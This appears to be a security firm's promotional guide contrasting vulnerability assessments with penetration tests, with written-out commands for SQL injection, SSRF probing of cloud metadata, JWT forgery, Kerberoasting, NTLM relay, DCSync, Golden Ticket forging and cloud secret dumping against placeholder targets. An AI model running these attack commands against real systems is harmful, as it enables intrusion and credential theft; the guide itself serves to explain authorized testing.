Penetration Testing vs Vulnerability Assessment

Security teams and business leaders frequently treat penetration testing and vulnerability assessments as interchangeable terms. They are not. Confusing the two leads to wasted budgets, false confidence, and security gaps that real attackers are happy to exploit. This guide breaks down both disciplines in technical depth, with real commands and tooling examples, so you can make an informed decision about what your environment actually requires.

What Is a Vulnerability Assessment?

A vulnerability assessment is a systematic process of identifying, classifying, and prioritizing security weaknesses across your systems, networks, and applications. The goal is breadth over depth. You want to enumerate as many weaknesses as possible across your attack surface so they can be triaged and remediated.

Vulnerability assessments are typically automated, supplemented by manual review, and produce a ranked list of findings mapped to severity scores such as CVSS (Common Vulnerability Scoring System).

Common Tools Used in Vulnerability Assessments

Nessus remains one of the most widely deployed enterprise vulnerability scanners. An authenticated credentialed scan launched via the Nessus CLI looks like this:

nessuscli scan --policy "Credentialed Patch Audit" \
 --targets targets.txt \
 --output /reports/va_scan_$(date +%F).nessus


[cta]

Nuclei from ProjectDiscovery has become the go-to tool for fast, template-driven vulnerability detection across web infrastructure:

nuclei -l targets.txt \
 -t cves/ \
 -t exposures/ \
 -t misconfiguration/ \
 -severity critical,high,medium \
 -rate-limit 150 \
 -c 50 \
 -o nuclei_findings.txt \
 -stats


[cta]

Nmap with the Nmap Scripting Engine provides network-layer vulnerability enumeration without relying on a commercial scanner:

nmap -sV -sC \
 --script "vuln and not exploit" \
 -p 21,22,23,25,53,80,110,143,443,445,3306,3389,5432,6379,8080,8443,9200,27017 \
 192.168.1.0/24 \
 -oA nmap_va_results \
 --min-rate 2000


[cta]

The output of a vulnerability assessment tells you what weaknesses exist and how severe they are. It does not tell you whether those weaknesses are actually exploitable in your specific environment, or what an attacker could achieve by chaining them together.

This is where penetration testing takes over.

What Is a Penetration Test?

A penetration test is a simulated cyberattack conducted by security professionals against a defined scope, with the goal of exploiting vulnerabilities to understand real-world impact. Unlike vulnerability assessments, pentests require human judgment, creativity, and adversarial thinking.

A pentest answers the question: if a skilled threat actor targeted us, how far could they actually get?

Redfox Cybersecurity conducts penetration tests across web applications, internal networks, external perimeters, APIs, mobile applications, and cloud environments. Each engagement is scoped carefully to reflect realistic threat scenarios rather than checkbox compliance. You can explore the full range of offensive security services at https://redfoxsec.com/services.

Phases of a Penetration Test

Reconnaissance is the first phase, where testers gather intelligence about the target using passive and semi-passive techniques before touching any live system.

# Subdomain enumeration using subfinder with recursive brute force
subfinder -d targetcorp.com -all -recursive -o subdomains_raw.txt

# Resolve live subdomains and probe for HTTP services
cat subdomains_raw.txt | dnsx -a -resp-only -o resolved_ips.txt
cat subdomains_raw.txt | httpx -tech-detect -status-code -title \
 -follow-redirects -o live_hosts.txt

# Certificate transparency log mining
curl -s "https://crt.sh/?q=%.targetcorp.com&output=json" \
 | jq -r '.[].name_value' \
 | sed 's/\*\.//g' \
 | sort -u > ct_subdomains.txt


[cta]

# OSINT via theHarvester for email and infrastructure discovery
theHarvester -d targetcorp.com \
 -b google,bing,dnsdumpster,securitytrails,shodan \
 -f harvester_output.html

# ASN and IP range discovery using BGP data
whois -h whois.bgp.he.net targetcorp.com | grep -i "route\|origin\|AS"
amass intel -org "Target Corporation" -whois -o asn_ranges.txt


[cta]

Scanning and Enumeration follows, where discovered assets are probed for running services, software versions, and exposed interfaces.

# Full TCP port scan with version detection and default scripts
rustscan -a 192.168.1.50 --ulimit 5000 -- -sV -sC -oA full_scan

# UDP top-port scan for commonly missed services
nmap -sU --top-ports 200 -T4 192.168.1.50 -oN udp_scan.txt

# Banner grabbing and service fingerprinting
nmap -sV --version-intensity 9 -p $(cat allports.txt | grep open | cut -d'/' -f1 | tr '\n' ',') \
 192.168.1.50 -oN services_deep.txt


[cta]

Key Technical Differences Between the Two Approaches

Understanding the structural differences helps you match the right tool to your current security maturity and business objective.

Scope and Coverage

A vulnerability assessment casts a wide net. It is designed to find everything across a broad surface. A penetration test operates within a defined scope and goes deep rather than wide. Testers prioritize finding one exploitable path to critical assets over cataloguing every misconfiguration.

Automation vs Manual Adversarial Skill

Vulnerability assessments are predominantly automated. Penetration tests rely heavily on manual techniques, custom payloads, and adversarial creativity that scanners cannot replicate.

For example, a scanner might flag an application as potentially vulnerable to SQL injection. A penetration tester will manually confirm it, extract schema data, and escalate privileges where the database configuration permits:

# SQLMap with WAF evasion, level 5 risk, targeting a specific injectable parameter
sqlmap -u "https://app.targetcorp.com/search?id=1" \
 --level=5 --risk=3 \
 --dbs \
 --batch \
 --random-agent \
 --tamper=between,charencode,randomcase,space2comment \
 --technique=BEUSTQ \
 --threads=5 \
 -p id \
 --hex \
 --output-dir=./sqlmap_output/


[cta]

# Manual time-based blind SQLi payload to confirm injection point
curl -s -X POST "https://app.targetcorp.com/api/product" \
 -H "Content-Type: application/json" \
 -H "Authorization: Bearer VALID_TOKEN" \
 -d '{"id": "1; IF(1=1) WAITFOR DELAY '"'"'0:0:5'"'"'--"}'


[cta]

A scanner tells you the door might be unlocked. A penetration tester walks through it, maps everything behind it, and documents precisely what a real attacker could take.

Output and Deliverables

Vulnerability assessment reports are typically long lists of CVEs with CVSS scores, affected software versions, and generic remediation guidance. They are useful for patch management workflows and compliance reporting.

Penetration test reports include a narrative of the full attack chain, proof-of-concept evidence, business impact analysis, and prioritized remediation guidance that is specific to your environment rather than copy-pasted from a vendor knowledge base.

Organizations working with Redfox Cybersecurity receive detailed, executive-ready and technically actionable reporting for both service types. See the full engagement model at https://redfoxsec.com/services.

Web Application Penetration Testing: A Closer Look

Web applications are the most commonly tested asset class, and for good reason. They are internet-facing, frequently updated, and represent a direct path to sensitive data and back-end infrastructure.

Testing for Critical Web Vulnerabilities

Cross-Site Scripting (XSS) with context-aware payloads:

# Parameter discovery and XSS fuzzing using dalfox
dalfox url "https://app.targetcorp.com/search?q=test" \
 --skip-bav \
 --custom-payload ./xss_payloads.txt \
 --waf-evasion \
 --timeout 10 \
 -o dalfox_xss_results.txt

# DOM-based XSS hunting via katana crawl and grep
katana -u https://app.targetcorp.com -d 5 -jc -ef woff,css,png,svg,jpg \
 | grep -iE "location\.hash|document\.write|innerHTML|eval\(|setTimeout\(" \
 > dom_xss_candidates.txt


[cta]

Server-Side Request Forgery (SSRF) probing:

# SSRF detection using interactsh out-of-band callback
interactsh-client &
CALLBACK=$(interactsh-client -server interactsh.com -n 1 | grep "your-url")

curl -s "https://app.targetcorp.com/fetch?url=http://$CALLBACK/ssrf-test" \
 -H "Authorization: Bearer VALID_TOKEN"

# Cloud metadata endpoint probing via SSRF
curl -s "https://app.targetcorp.com/proxy?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
 -H "X-Forwarded-For: 127.0.0.1"


[cta]

JWT manipulation and algorithm confusion attacks:

# Decode JWT and inspect claims
echo "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0Iiwicm9sZSI6InVzZXIifQ.SIG" \
 | cut -d'.' -f1,2 | base64 -d 2>/dev/null | jq .

# Algorithm confusion attack: forge RS256 token using public key as HMAC secret
python3 jwt_tool.py TOKEN \
 -X a \
 -pk public_key.pem \
 -I -pc role -pv admin \
 -cv "https://app.targetcorp.com/api/admin"


[cta]

GraphQL introspection and attack surface mapping:

# GraphQL introspection query to enumerate schema
curl -s -X POST "https://app.targetcorp.com/graphql" \
 -H "Content-Type: application/json" \
 -d '{"query":"{__schema{types{name fields{name args{name type{name kind ofType{name kind}}}}}}}"}' \
 | jq '.data.__schema.types[] | select(.fields != null) | {name, fields: [.fields[].name]}'

# GraphQL batching attack to bypass rate limiting
curl -s -X POST "https://app.targetcorp.com/graphql" \
 -H "Content-Type: application/json" \
 -d '[{"query":"mutation{login(user:\"admin\",pass:\"pass1\")}"},
      {"query":"mutation{login(user:\"admin\",pass:\"pass2\")}"},
      {"query":"mutation{login(user:\"admin\",pass:\"pass3\")}"}]'


[cta]

Network Penetration Testing: Active Directory and Internal Infrastructure

Internal network pentests simulate a threat actor who has already bypassed your perimeter, whether through phishing, a compromised vendor, or physical access. Active Directory remains the primary target of ransomware operators and nation-state actors in enterprise environments.

Active Directory Attack Chains

Kerberoasting to extract offline-crackable service account hashes:

# Extract Kerberoastable accounts and their TGS tickets using Impacket
impacket-GetUserSPNs targetcorp.local/pentest_user:'Password123!' \
 -dc-ip 192.168.1.1 \
 -request \
 -outputfile kerberoast_hashes.txt

# Crack offline with Hashcat using rule-based mutation
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
 -r /usr/share/hashcat/rules/best64.rule \
 -r /usr/share/hashcat/rules/toggles1.rule \
 --force -O


[cta]

AS-REP Roasting against accounts with pre-authentication disabled:

impacket-GetNPUsers targetcorp.local/ \
 -usersfile domain_users.txt \
 -dc-ip 192.168.1.1 \
 -no-pass \
 -format hashcat \
 -outputfile asrep_hashes.txt

# Follow with targeted mask attack based on corporate password policy
hashcat -m 18200 asrep_hashes.txt \
 -a 3 "?u?l?l?l?l?d?d?d?s" \
 --increment --increment-min 8


[cta]

BloodHound-based attack path analysis:

# Collect AD data using BloodHound Python collector
bloodhound-python \
 -u pentest_user \
 -p 'Password123!' \
 -d targetcorp.local \
 -ns 192.168.1.1 \
 -c All,LoggedOn \
 --zip \
 -o ./bloodhound_data/

# After importing into BloodHound, run these Cypher queries directly
# Find all shortest paths to Domain Admins from owned users
# MATCH p=shortestPath((n:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@TARGETCORP.LOCAL"})) RETURN p


[cta]

NTLM relay attacks using ntlmrelayx:

# Disable SMB signing check and set up relay to LDAP for RBCD attack
impacket-ntlmrelayx \
 -tf relay_targets.txt \
 -smb2support \
 -t ldap://192.168.1.1 \
 --delegate-access \
 --escalate-user pentest_machine\$

# Trigger NTLM authentication from target using Responder on a separate interface
responder -I eth0 -rdwv


[cta]

DCSync to extract domain credential material post-compromise:

# DCSync attack using Impacket secretsdump (requires DA or replication rights)
impacket-secretsdump targetcorp.local/Administrator:'CompromisedPass'@192.168.1.1 \
 -just-dc \
 -just-dc-ntlm \
 -outputfile dcsync_hashes.txt

# Golden Ticket forging using ticketer after extracting KRBTGT hash
impacket-ticketer \
 -nthash <KRBTGT_NTLM_HASH> \
 -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
 -domain targetcorp.local \
 -groups 512 \
 -user fake_admin \
 golden_ticket


[cta]

Redfox Cybersecurity's offensive security team uses the same tools, techniques, and procedures that real advanced threat actors employ, ensuring your defenses are tested against realistic attack scenarios rather than theoretical ones. Engage with the team directly through https://redfoxsec.com/services.

Cloud Penetration Testing: AWS, Azure, and GCP

Cloud environments introduce unique misconfigurations that scanners routinely miss. Penetration testers probe IAM policies, storage exposure, metadata services, and role assumption chains.

# AWS credential enumeration after obtaining access keys
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d'/' -f2)
aws iam list-roles | jq '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.Service == "ec2.amazonaws.com") | .RoleName'

# Check for S3 bucket misconfiguration across the account
aws s3 ls | awk '{print $3}' | xargs -I{} aws s3api get-bucket-acl --bucket {} 2>/dev/null \
 | grep -i "AllUsers\|AuthenticatedUsers"

# Enumerate secrets in AWS Secrets Manager and Parameter Store
aws secretsmanager list-secrets --query 'SecretList[].Name'
aws ssm describe-parameters --query 'Parameters[].Name' \
 | xargs -I{} aws ssm get-parameter --name {} --with-decryption 2>/dev/null


[cta]

# Azure privilege escalation via misconfigured managed identity
curl -s -H "Metadata: true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
 | jq -r '.access_token' > az_token.txt

# Use token to enumerate subscriptions and role assignments
curl -s -H "Authorization: Bearer $(cat az_token.txt)" \
 "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq '.value[].subscriptionId'


[cta]

When Should You Use Each Service?

Use a vulnerability assessment when you need a broad inventory of weaknesses across your environment, you are onboarding a new system or cloud environment, you are preparing for a compliance audit such as ISO 27001, SOC 2, or PCI DSS, or you need to establish a security baseline before more advanced testing.

Use a penetration test when you are launching a new public-facing application or API, you have recently completed a vulnerability assessment and want to validate whether findings are truly exploitable, regulatory frameworks require it, your organization has experienced a breach and you need to understand the full exposure, or your leadership team needs to understand real-world business impact from a potential compromise.

Use both in sequence when you want a mature, continuous security program. Run vulnerability assessments regularly, monthly or quarterly depending on your environment's rate of change, and schedule penetration tests at least annually or after significant infrastructure or application changes.

The Bottom Line

Vulnerability assessments and penetration tests are not competing services. They are complementary tools designed for different questions and different stages of security maturity. A vulnerability assessment tells you what the weaknesses are. A penetration test tells you what a skilled attacker can actually do with them, including the full chain from initial access through credential theft, lateral movement, and data exfiltration.

Both require skilled practitioners, well-defined scopes, and actionable reporting to deliver real value. Running an automated scanner and calling it a pentest, or conducting a narrow pentest and expecting it to replace regular scanning, are both mistakes that leave critical gaps in your security posture.

Redfox Cybersecurity delivers both services with the technical depth and business context that security-conscious organizations demand. Whether you are starting with a baseline assessment or need a full adversarial engagement across your cloud, network, and application stack, the right engagement begins with a conversation. Start that conversation at https://redfoxsec.com/services.